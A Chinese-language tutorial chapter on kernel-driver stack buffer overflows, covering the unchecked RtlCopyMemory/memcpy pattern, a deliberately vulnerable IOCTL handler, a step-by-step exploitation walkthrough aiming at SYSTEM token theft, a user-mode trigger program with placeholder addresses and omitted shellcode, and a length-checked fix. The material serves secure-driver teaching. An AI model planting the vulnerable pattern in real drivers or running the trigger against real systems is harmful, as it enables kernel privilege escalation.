4. 缓冲区溢出漏洞:栈缓冲区溢出原理、驱动中危险的 RtlCopyMemory 与 memcpy、漏洞触发与利用演示

4.1 栈缓冲区溢出原理

栈缓冲区溢出(Stack Buffer Overflow)是内核驱动中最经典、最危险的漏洞类型之一。当驱动程序在栈上分配的局部缓冲区大小固定,但拷贝的数据量超过该缓冲区容量时,超出的数据会覆盖栈上相邻的内存区域,包括函数的返回地址、异常处理指针或局部变量。

核心危害:攻击者通过精心构造的输入数据,可以精确控制被覆盖的返回地址,从而劫持内核执行流,实现权限提升或任意代码执行。

在 x64 内核中,栈帧布局通常包含:

  • 局部变量区:存放函数内定义的自动变量(如缓冲区)。
  • 保存的寄存器:如 RBP、RDI、RSI 等被调用者保存的寄存器。
  • 返回地址:调用函数的下一条指令地址,位于栈帧顶部。
  • 异常处理链:在支持结构化异常处理(SEH)的系统中,异常处理函数指针也可能位于栈上。
栈缓冲区溢出原理示意图 正常栈帧 返回地址 保存的 RBP 局部变量 B 缓冲区 (16 字节) 低地址 溢出后栈帧 返回地址 (被覆盖) 保存的 RBP (被覆盖) 局部变量 B (被覆盖) 溢出数据 (32 字节) 低地址 溢出路径: 1. 攻击者提供 32 字节输入 → 拷贝到 16 字节缓冲区 2. 溢出数据依次覆盖局部变量 B、保存的 RBP、返回地址 3. 函数返回时跳转到攻击者指定的地址 → 内核代码执行劫持

4.2 驱动中危险的 RtlCopyMemory 与 memcpy

Windows 内核驱动开发中,RtlCopyMemory 和 memcpy 是常用的内存拷贝函数。它们本身不执行任何边界检查,完全依赖调用者提供正确的长度参数。当从用户模式传入的缓冲区大小或长度参数未经验证时,极易触发栈缓冲区溢出。

函数 头文件 行为 边界检查 典型风险场景
RtlCopyMemory wdm.h 从源地址拷贝指定字节到目标地址 无 IOCTL 处理中拷贝用户输入到栈缓冲区
memcpy string.h 与 RtlCopyMemory 行为相同 无 解析网络包或设备数据时未校验长度
RtlCopyBytes wdm.h 与 RtlCopyMemory 等价 无 与 RtlCopyMemory 相同
关键认知:在 Windows 内核中,RtlCopyMemory 和 memcpy 在 Release 版本中编译为完全相同的机器码。不要误以为 RtlCopyMemory 具有任何额外的安全保护。两者都是不安全的拷贝函数。

4.3 漏洞代码示例

以下是一个典型的内核驱动 IOCTL 处理函数,存在栈缓冲区溢出漏洞:

// 漏洞代码:未校验用户输入长度
NTSTATUS DrvDispatchIoControl(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    // 漏洞:栈缓冲区只有 64 字节
    CHAR localBuffer[64];

    switch (ioctlCode)
    {
    case IOCTL_COPY_DATA:
        // 危险:直接使用用户提供的长度进行拷贝
        RtlCopyMemory(localBuffer, inputBuffer, inputLength);
        // ... 后续处理
        break;
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}

漏洞分析:

  • localBuffer 在栈上分配,大小为 64 字节。
  • inputLength 来自用户模式,攻击者可以任意指定。
  • 当 inputLength > 64 时,RtlCopyMemory 会向栈上写入超出缓冲区范围的数据。
  • 攻击者可以精确构造输入数据,覆盖返回地址为攻击者控制的 shellcode 地址。

4.4 漏洞触发与利用演示

以下演示展示攻击者如何通过用户模式程序触发漏洞并劫持内核执行流:

漏洞触发与利用流程 步骤 1 构造恶意输入 步骤 2 发送 IOCTL 请求 步骤 3 触发栈溢出 步骤 4 覆盖返回地址 步骤 5 函数返回劫持 步骤 6 执行 shellcode 利用细节: 1. 攻击者分配 128 字节缓冲区,填充如下: - 前 64 字节:填充数据(覆盖 localBuffer) - 8 字节:覆盖保存的 RBP - 8 字节:覆盖返回地址 → 指向 shellcode 起始地址 - 剩余字节:包含 shellcode 或指向 shellcode 的指针 2. 通过 DeviceIoControl 发送 IOCTL_COPY_DATA 请求 3. 驱动函数返回时,CPU 从被覆盖的栈位置加载返回地址 → 跳转到 shellcode 4. shellcode 执行令牌窃取 → 攻击者获得 SYSTEM 权限

4.5 用户模式触发代码示例

以下代码展示攻击者如何从用户模式触发漏洞:

// 攻击者代码:触发内核驱动栈溢出
#include <windows.h>
#include <stdio.h>

#define IOCTL_COPY_DATA CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)

typedef struct _SHELLCODE_PAYLOAD {
    CHAR padding[64];      // 填充 localBuffer
    ULONG64 savedRbp;      // 覆盖保存的 RBP
    ULONG64 returnAddr;    // 覆盖返回地址 → shellcode 地址
    UCHAR shellcode[256];  // 实际 shellcode
} SHELLCODE_PAYLOAD, *PSHELLCODE_PAYLOAD;

int main()
{
    HANDLE hDevice = CreateFile(
        L"\\\\.\\VulnDriver",
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    );

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] 打开设备失败: %d\n", GetLastError());
        return 1;
    }

    // 构造恶意 payload
    SHELLCODE_PAYLOAD payload = { 0 };
    memset(payload.padding, 'A', 64);           // 填充数据
    payload.savedRbp = 0x4141414141414141;      // 任意值
    payload.returnAddr = 0xFFFFF80001234567;    // 指向 shellcode 的地址

    // 此处填充实际 shellcode(省略具体内容)
    // memcpy(payload.shellcode, shellcodeBytes, shellcodeSize);

    DWORD bytesReturned = 0;
    BOOL result = DeviceIoControl(
        hDevice,
        IOCTL_COPY_DATA,
        &payload, sizeof(payload),   // 输入缓冲区 = 328 字节
        NULL, 0,
        &bytesReturned,
        NULL
    );

    if (!result) {
        printf("[-] IOCTL 请求失败: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}
安全开发建议:永远不要信任来自用户模式的长度参数。在使用 RtlCopyMemory 或 memcpy 之前,必须验证拷贝长度不超过目标缓冲区的大小。推荐使用 RtlCopyMemory 的替代方案,如 RtlStringCbCopy 或 RtlCopyMemory 配合显式边界检查。

4.6 安全补丁方案

修复栈缓冲区溢出漏洞的标准方法包括:

修复策略 实现方式 优点 缺点
长度校验 在拷贝前检查 inputLength <= sizeof(localBuffer) 简单直接,性能开销小 需要手动维护缓冲区大小常量
动态分配 使用 ExAllocatePoolWithTag 分配堆缓冲区 可处理任意大小输入 需要处理内存释放,增加复杂度
安全拷贝函数 使用 RtlStringCbCopy 或 RtlCopyMemory + 边界检查 内置长度限制 仅适用于字符串场景
编译器防护 启用 /GS 编译选项(栈 Cookie) 自动检测栈破坏 可被绕过,不是根本解决方案

修复后的安全代码示例:

// 修复代码:添加长度校验
NTSTATUS DrvDispatchIoControl_Safe(
    PDEVICE_OBJECT DeviceObject,
    PIRP Irp
)
{
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID inputBuffer = Irp->AssociatedIrp.SystemBuffer;
    ULONG inputLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;

    // 安全:栈缓冲区大小定义为常量
    #define LOCAL_BUFFER_SIZE 64
    CHAR localBuffer[LOCAL_BUFFER_SIZE];

    switch (ioctlCode)
    {
    case IOCTL_COPY_DATA:
        // 修复:验证输入长度不超过目标缓冲区
        if (inputLength > LOCAL_BUFFER_SIZE) {
            Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
            Irp->IoStatus.Information = 0;
            IoCompleteRequest(Irp, IO_NO_INCREMENT);
            return STATUS_BUFFER_TOO_SMALL;
        }

        // 安全拷贝:使用已验证的长度
        RtlCopyMemory(localBuffer, inputBuffer, inputLength);
        // ... 后续处理
        break;
    }

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return STATUS_SUCCESS;
}
总结:栈缓冲区溢出是内核驱动中最容易被利用的漏洞类型。根本原因在于对用户输入的长度缺乏验证。修复的核心原则是:在每次内存拷贝操作之前,必须确保拷贝长度不超过目标缓冲区的容量。使用 RtlCopyMemory 和 memcpy 本身不是错误,错误在于没有配合正确的边界检查。